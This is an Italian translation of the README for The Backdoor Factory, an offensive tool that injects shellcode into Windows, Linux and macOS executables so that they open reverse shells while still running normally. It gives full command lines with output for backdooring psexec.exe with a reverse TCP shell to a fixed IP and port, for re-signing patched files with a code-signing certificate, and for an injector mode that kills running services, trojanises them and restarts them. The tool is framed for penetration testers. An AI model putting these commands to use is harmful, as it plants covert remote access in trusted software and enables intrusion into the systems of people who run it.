
Applica patch ai binari PE, ELF e Mach-O con shellcode, nuova versione in sviluppo, disponibile solo per gli sponsor
Solo per professionisti della sicurezza e ricercatori.
L'obiettivo di BDF è patchare eseguibili binari con lo shellcode desiderato dall'utente e continuare la normale esecuzione dello stato pre-patchato.
Black Hat USA 2015:
Video: https://www.youtube.com/watch?v=OuyLzkG16Uk
Paper: https://www.blackhat.com/docs/us-15/materials/us-15-Pitts-Repurposing-OnionDuke-A-Single-Case-Study-Around-Reusing-Nation-State-Malware-wp.pdf
Shmoocon 2015:
Video: https://archive.org/details/joshpitts_shmoocon2015
Paper: https://www.dropbox.com/s/te7e35c8xcnyfzb/JoshPitts-UserlandPersistenceOnMacOSX.pdf
DerbyCon 2014:
Video: http://www.youtube.com/watch?v=LjUN9MACaTs
DerbyCon 2013:
Video: http://www.youtube.com/watch?v=jXLb2RNX5xs
Demo del modulo di injection: http://www.youtube.com/watch?v=04aJAex2o3U
Slides: http://www.slideshare.net/midnite_runr/patching-windows-executables-with-the-backdoor-factory
Contatta lo sviluppatore su:
IRC:
irc.freenode.net #BDFactory
Twitter:
@midnite_runr
Sotto licenza BSD 3 Clause
Vedi la wiki: https://github.com/secretsquirrel/the-backdoor-factory/wiki
docker pull secretsquirrel/the-backdoor-factory
docker run -it secretsquirrel/the-backdoor-factory bash
# ./backdoor.py
####Dipendenze #####Per usare OnionDuke devi essere su una macchina Intel perché aPLib non supporta ancora il chipset ARM.
Capstone engine può essere installato da PyPi con:
sudo pip install capstone
Pefile, versione più recente:
https://code.google.com/p/pefile/
osslsigncode (incluso nel repository):
http://sourceforge.net/p/osslsigncode/osslsigncode/ci/master/tree/
Installazione su Kali:
apt-get update
apt-get install backdoor-factory
ALTRA INSTALLAZIONE *NIX/MAC:
./install.sh
Questo installerà Capstone con pip 3.01 per installare pefile.
AGGIORNAMENTO:
./update.sh
Supporto:
Windows PE x86/x64, ELF x86/x64 (System V, FreeBSD, ARM Little Endian x32),
e Mach-O x86/x64 e questi formati nei file FAT
File compressi: PE UPX x86/x64
Sperimentale: OpenBSD x32
Alcuni eseguibili hanno protezioni integrate, quindi questo non funzionerà su tutti i binari. È consigliabile testare i binari target prima di distribuirli ai clienti o usarli in esercitazioni. Sono sul punto di bypassare NSIS, quindi il bypass di questi controlli sarà incluso in futuro.
Molte grazie a Ryan O'Neill --ryan 'at' codeslum <d ot> org--
Senza di lui, starei ancora cercando di fare cose stupide
con il formato ELF.
Grazie anche a Silvio Cesare con il suo paper del 1998
(http://vxheaven.org/lib/vsc01.html) su cui queste tecniche
di patching ELF si basano.
./backdoor.py -h Usage: backdoor.py [options]
##Caratteristiche:
###File PE
Può trovare tutti i code cave in un EXE/DLL.
Per impostazione predefinita, azzera il puntatore alla tabella dei certificati PE, rimuovendo così la firma da un binario.
Può iniettare shellcode nei code cave o in una nuova sezione.
Può determinare se un binario PE deve essere eseguito con privilegi elevati.
Quando si selezionano i code cave, è possibile usare i seguenti comandi:
-Jump (j), per il salto tra code cave
-Single (s), per patchare tutto lo shellcode in un unico cave
-Append (a), per creare un code cave
-Ignore (i o q), lascia perdere, ignora questo binario
Può ignorare le DLL
Patching della Import Table
AutoPatching (-m automatic)
Onionduke (-m onionduke)
###File ELF
Estende di 1000 byte (in byte) il TEXT SEGMENT e inietta lo shellcode in quella sezione di codice.
###File Mach-O Patching della sezione Pre-Text e rimozione della firma
###In generale
L'utente può:
-Fornire shellcode personalizzati.
-Patchare una directory di eseguibili/dll.
-Selezionare solo binari x32 o x64 da patchare.
-Includere BDF in altri progetti Python, vedi pebin.py e elfbin.py
###Patchare un exe/dll usando un code cave esistente:
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 402
[*] All caves lengths: (402,)
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 402
[*] Available caves:
1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End: 0x2e6d0; Cave Size: 507
2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End: 0x2e8d5; Cave Size: 492
3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End: 0x2ead8; Cave Size: 501
4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End: 0x2ecdd; Cave Size: 492
5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End: 0x2eee0; Cave Size: 505
6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End: 0x2f0e5; Cave Size: 498
7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End: 0x2f2ea; Cave Size: 495
8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End: 0x2f4f8; Cave Size: 505
9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End: 0x2f7a0; Cave Size: 559
10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End: 0x5b468; Cave Size: 559
**************************************************
[!] Enter your selection: 5
Using selection: 5
[*] Changing Section Flags
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory
###Patchare un exe/dll aggiungendo una sezione di codice:
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Creating Code Cave
- Adding a new section to the exe/dll for shellcode injection
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory
###Patchare una directory di eseguibili: ./backdoor.py -d test/ -i 192.168.0.100 -p 8080 -s reverse_shell_tcp -a ...output troppo lungo per il README...
###Shellcode fornito dall'utente: msfpayload windows/exec CMD='calc.exe' R > calc.bin ./backdoor.py -f psexec.exe -s user_supplied_shellcode -U calc.bin Questo farà apparire calc.exe su una workstation Windows target. Troppo 1337. Molto pwn. Wow.
###Firma del codice PE
BDF può firmare i file PE se hai un certificato di firma del codice. Usa osslsigncode. Metti il certificato di firma e la chiave privata nella directory certi/. Prepara i tuoi certificati usando i comandi openssl di questo post del blog: http://secureallthethings.blogspot.com/2015/12/add-pe-code-signing-to-backdoor-factory.html
Metti la password della tua chiave privata in un file (sì, lo so) in questo modo (esattamente così):
echo -n yourpassword > certs/passFile.txt
Nomina i tuoi certificati ESATTAMENTE come segue:
signingCert.cer => certs/signingCert.cer
signingPrivateKey.pem => certs/signingPrivateKey.pem
La tua directory certi/ dovrebbe apparire esattamente così:
certs
├── passFile.txt
├── signingPrivateKey.pem
└── signingCert.cer
Abilita la firma del codice PE con il flag -C in questo modo:
./backdoor.py -f tcpview.exe -s iat_reverse_tcp_inline -H 172.16.186.1 -P 8080 -m automatic -C
In caso di esecuzione riuscita dovresti vedere questa riga nell'output di BDF:
[*] Code Signing Succeeded
###Caccia e backdoor: Injector | Solo Windows
Il modulo injector cercherà eseguibili target da backdoorare su disco. Controllerà se hai identificato il target come servizio, se il processo è in esecuzione, terminerà il processo e/o il servizio, inietterà l'eseguibile con lo shellcode, salverà il file originale come file.exe.old o con un altro suffisso a scelta, e tenterà di riavviare il processo o il servizio.
Modifica il dizionario Python "list_of_targets" nel modulo 'injector' per i target che preferisci.
./backdoor.py -i -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a -u .moocowwow
###Changelog
####01/11/2016
####07/04/2016
####06/19/2016
####12/20/2015
####12/18/2015
####11/17/2015
####11/13/2015
####10/19/2015
####10/13/2015
####08/12/2015
Aggiunto il PATCH_METHOD 'replace' - una copia incolla diretta del binario fornito
Più che altro per l'uso con BDFProxy
Usage: ./backdoor.py -f weee.exe -m replace -b supplied_binary.exe
####08/11/2015
####08/05/2015
####5/01/2015
####4/28/2015
####4/14/2015
Tanti aggiornamenti:
Patching automatico per i file PE (usa -m automatic con un payload *_threaded)
Nuovi payload IAT per file PE x86/x64
Basta guardare: https://www.youtube.com/watch?v=kkLI_ur6BxY
####2/14/2015 Vi voglio bene ragazzi
Aggiunto il patching dell'Import Address Table per i PE per supportare i payload iat_reverse_tcp che usano la tabella degli import per le chiamate alle API di Windows. Se il binario che stai patchando non ha LoadLibraryA e GetProcAddress, ad esempio, BDF le aggiungerà in una nuova Import Table in una nuova sezione. Supporta PE x64/x86.
Aggiunto iat_reverse_tcp per i PE x64.
Correzioni di bug e miglioramenti
####1/1/2015
Buon anno!
Due nuovi payload OS X! Il delay: delay_reverse_shell_tcp
-B 30 --> ritarda il payload di 30 secondi, il codice principale viene eseguito subito.
Impostazione di un commit fisso di Capstone per la compilazione in BDF, il repository Capstone 'Next' rompe BDF.
Correzioni per supportare il problema di troncamento del byte null nell'implementazione Cython di capstone
####12/27/2014
Aggiunto payloadtests.py
Questo script genererà file patchati nella directory backdoored che consentiranno all'utente di testare i payload come desidera. Ogni tipo di payload incrementa di uno la porta utilizzata.
Usage: payloadtest.py binary HOST PORT
####12/17/2014
Payload OS X Beaconing per x86 e x64: beaconing_reverse_shell_tcp
-B 15 --> imposta il tempo di beacon a 15 secondi
Correzione di un bug per supportare OS X in BDFProxy
####10/11/2014
Aggiunto il patching di PE UPX
####9/26/2014
Aggiunti Mach-O x86/x64
Ottimizzazione del payload IAT x86
####7/31/2014
Aggiunto il supporto per il patching di ELF ARM x32 LE
####7/22/2014
Aggiunto il supporto per il patching di ELF FreeBSD x32
Passaggio alla licenza BSD 3 Clause
####7/13/2014
Integrato Capstone: http://www.capstone-engine.org/
Durante il processo di integrazione di Capstone, ho rimosso circa 500 righe di codice. È piuttosto fantastico.
Rinominato loadliba_reverse_tcp in iat_reverse_tcp.
Piccole ottimizzazioni per la velocità.
####5/30/2014
Aggiunto un nuovo shellcode win86: loadliba_reverse_tcp